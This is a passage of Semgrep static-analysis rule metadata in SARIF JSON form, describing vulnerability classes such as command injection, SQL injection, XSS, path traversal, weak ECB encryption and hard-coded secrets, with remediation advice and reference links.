avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.os.tainted-os-command-paramiko-flask.tainted-os-command-paramiko-flask)\n - [https://docs.paramiko.org/en/latest/api/client.html#paramiko.client.SSHClient.exec_command](https://docs.paramiko.org/en/latest/api/client.html#paramiko.client.SSHClient.exec_command)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.flask.os.tainted-os-command-paramiko-flask.tainted-os-command-paramiko-flask","id":"python.flask.os.tainted-os-command-paramiko-flask.tainted-os-command-paramiko-flask","name":"python.flask.os.tainted-os-command-paramiko-flask.tainted-os-command-paramiko-flask","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.os.tainted-os-command-paramiko-flask.tainted-os-command-paramiko-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found request data in 'send_mail(...)' that uses 'html_message'. This is dangerous because HTML emails are susceptible to XSS. An attacker could inject data into this HTML email, causing XSS."},"help":{"markdown":"Found request data in 'send_mail(...)' that uses 'html_message'. This is dangerous because HTML emails are susceptible to XSS. An attacker could inject data into this HTML email, causing XSS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.email.xss-send-mail-html-message.xss-send-mail-html-message)\n - [https://www.damonkohler.com/2008/12/email-injection.html](https://www.damonkohler.com/2008/12/email-injection.html)\n","text":"Found request data in 'send_mail(...)' that uses 'html_message'. This is dangerous because HTML emails are susceptible to XSS. An attacker could inject data into this HTML email, causing XSS."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.email.xss-send-mail-html-message.xss-send-mail-html-message","id":"python.django.security.injection.email.xss-send-mail-html-message.xss-send-mail-html-message","name":"python.django.security.injection.email.xss-send-mail-html-message.xss-send-mail-html-message","properties":{"precision":"very-high","tags":["CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.email.xss-send-mail-html-message.xss-send-mail-html-message"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.sqlalchemy-flask.sqlalchemy-flask)\n - [https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text](https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.flask.db.sqlalchemy-flask.sqlalchemy-flask","id":"python.flask.db.sqlalchemy-flask.sqlalchemy-flask","name":"python.flask.db.sqlalchemy-flask.sqlalchemy-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.sqlalchemy-flask.sqlalchemy-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Facebook OAuth detected"},"help":{"markdown":"Facebook OAuth detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-facebook-oauth.detected-facebook-oauth)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Facebook OAuth detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-facebook-oauth.detected-facebook-oauth","id":"generic.secrets.security.detected-facebook-oauth.detected-facebook-oauth","name":"generic.secrets.security.detected-facebook-oauth.detected-facebook-oauth","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-facebook-oauth.detected-facebook-oauth"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-pickleshare-fastapi.tainted-pickleshare-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-pickleshare-fastapi.tainted-pickleshare-fastapi","id":"python.fastapi.file.tainted-pickleshare-fastapi.tainted-pickleshare-fastapi","name":"python.fastapi.file.tainted-pickleshare-fastapi.tainted-pickleshare-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-pickleshare-fastapi.tainted-pickleshare-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Symmetric cryptographic operations were identified that use Electronic Code Book (ECB) mode. ECB mode is considered insecure as identical plaintext blocks encrypt to identical ciphertexts revealing patterns in the data. Use stronger, better alternatives such as AES-GCM or ChaChaPoly. "},"help":{"markdown":"Symmetric cryptographic operations were identified that use Electronic Code Book (ECB) mode. ECB mode is considered insecure as identical plaintext blocks encrypt to identical ciphertexts revealing patterns in the data. Use stronger, better alternatives such as AES-GCM or ChaChaPoly. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-ecb-mode.insecure-crypto-ecb-mode)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://crypto.stackexchange.com/questions/20941/why-shouldnt-i-use-ecb-encryption](https://crypto.stackexchange.com/questions/20941/why-shouldnt-i-use-ecb-encryption)\n - [https://medium.com/asecuritysite-when-bob-met-alice/surely-no-one-uses-ecb-mode-in-aes-332ed90f29d0](https://medium.com/asecuritysite-when-bob-met-alice/surely-no-one-uses-ecb-mode-in-aes-332ed90f29d0)\n","text":"Symmetric cryptographic operations were identified that use Electronic Code Book (ECB) mode. ECB mode is considered insecure as identical plaintext blocks encrypt to identical ciphertexts revealing patterns in the data. Use stronger, better alternatives such as AES-GCM or ChaChaPoly. "},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-ecb-mode.insecure-crypto-ecb-mode","id":"swift.commoncrypto.insecure-crypto-ecb-mode.insecure-crypto-ecb-mode","name":"swift.commoncrypto.insecure-crypto-ecb-mode.insecure-crypto-ecb-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-ecb-mode.insecure-crypto-ecb-mode"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.os.tainted-os-command-stdlib-flask.tainted-os-command-stdlib-flask)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.flask.os.tainted-os-command-stdlib-flask.tainted-os-command-stdlib-flask","id":"python.flask.os.tainted-os-command-stdlib-flask.tainted-os-command-stdlib-flask","name":"python.flask.os.tainted-os-command-stdlib-flask.tainted-os-command-stdlib-flask","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.os.tainted-os-command-stdlib-flask.tainted-os-command-stdlib-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User controlled data in a HTML string may result in XSS"},"help":{"markdown":"User controlled data in a HTML string may result in XSS\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.security.raw-html-concat.raw-html-concat)\n - [https://owasp.org/www-community/attacks/xss/](https://owasp.org/www-community/attacks/xss/)\n","text":"User controlled data in a HTML string may result in XSS"},"helpUri":"https://semgrep.dev/r/javascript.browser.security.raw-html-concat.raw-html-concat","id":"javascript.browser.security.raw-html-concat.raw-html-concat","name":"javascript.browser.security.raw-html-concat.raw-html-concat","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.raw-html-concat.raw-html-concat"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.mysqlclient.python-mysqlclient-empty-password.python-mysqlclient-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.mysqlclient.python-mysqlclient-empty-password.python-mysqlclient-empty-password","id":"python.mysqlclient.python-mysqlclient-empty-password.python-mysqlclient-empty-password","name":"python.mysqlclient.python-mysqlclient-empty-password.python-mysqlclient-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.mysqlclient.python-mysqlclient-empty-password.python-mysqlclient-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests to http (unencrypted) sites using gorequest, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network."},"help":{"markdown":"Checks for requests to http (unencrypted) sites using gorequest, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.gorequest-http-request.gorequest-http-request)\n - [https://github.com/parnurzeal/gorequest](https://github.com/parnurzeal/gorequest)\n","text":"Checks for requests to http (unencrypted) sites using gorequest, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.gorequest-http-request.gorequest-http-request","id":"problem-based-packs.insecure-transport.go-stdlib.gorequest-http-request.gorequest-http-request","name":"problem-based-packs.insecure-transport.go-stdlib.gorequest-http-request.gorequest-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.gorequest-http-request.gorequest-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of AES with no settings detected. By default, java.crypto.Cipher uses ECB mode. ECB doesn't  provide message confidentiality and is not semantically secure so should not be used. Instead, use a strong, secure cipher: java.crypto.Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"Use of AES with no settings detected. By default, java.crypto.Cipher uses ECB mode. ECB doesn't  provide message confidentiality and is not semantically secure so should not be used. Instead, use a strong, secure cipher: java.crypto.Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n","text":"Use of AES with no settings detected. By default, java.crypto.Cipher uses ECB mode. ECB doesn't  provide message confidentiality and is not semantically secure so should not be used. Instead, use a strong, secure cipher: java.crypto.Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes","id":"java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes","name":"java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."},"help":{"markdown":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal)\n - [https://www.owasp.org/index.php/Path_Traversal](https://www.owasp.org/index.php/Path_Traversal)\n","text":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal","id":"java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal","name":"java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-json-flask.tainted-json-flask)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/json.html](https://docs.python.org/3/library/json.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-json-flask.tainted-json-flask","id":"python.flask.deserialization.tainted-json-flask.tainted-json-flask","name":"python.flask.deserialization.tainted-json-flask.tainted-json-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-json-flask.tainted-json-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"abi.encodePacked hash collision with variable length arguments in $F()"},"help":{"markdown":"abi.encodePacked hash collision with variable length arguments in $F()\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.encode-packed-collision.encode-packed-collision)\n - [https://swcregistry.io/docs/SWC-133](https://swcregistry.io/docs/SWC-133)\n","text":"abi.encodePacked hash collision with variable length arguments in $F()"},"helpUri":"https://semgrep.dev/r/solidity.security.encode-packed-collision.encode-packed-collision","id":"solidity.security.encode-packed-collision.encode-packed-collision","name":"solidity.security.encode-packed-collision.encode-packed-collision","properties":{"precision":"very-high","tags":["CWE-20: Improper Input Validation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.encode-packed-collision.encode-packed-collision"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts or to use the Cookie Policy Middleware to globally set the HttpOnly flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts or to use the Cookie Policy Middleware to globally set the HttpOnly flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.audit.cookies.httponly-false.httponly-false)\n - [https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware](https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware)\n - [https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions](https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts or to use the Cookie Policy Middleware to globally set the HttpOnly flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"helpUri":"https://semgrep.dev/r/csharp.lang.audit.cookies.httponly-false.httponly-false","id":"csharp.lang.audit.cookies.httponly-false.httponly-false","name":"csharp.lang.audit.cookies.httponly-false.httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.audit.cookies.httponly-false.httponly-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.xml.tainted-django-xml-xpath-stdlib.tainted-django-xml-xpath-stdlib)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks."},"helpUri":"https://semgrep.dev/r/python.django.xml.tainted-django-xml-xpath-stdlib.tainted-django-xml-xpath-stdlib","id":"python.django.xml.tainted-django-xml-xpath-stdlib.tainted-django-xml-xpath-stdlib","name":"python.django.xml.tainted-django-xml-xpath-stdlib.tainted-django-xml-xpath-stdlib","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.xml.tainted-django-xml-xpath-stdlib.tainted-django-xml-xpath-stdlib"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.redis.python-redis-hardcoded-uri.python-redis-hardcoded-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious 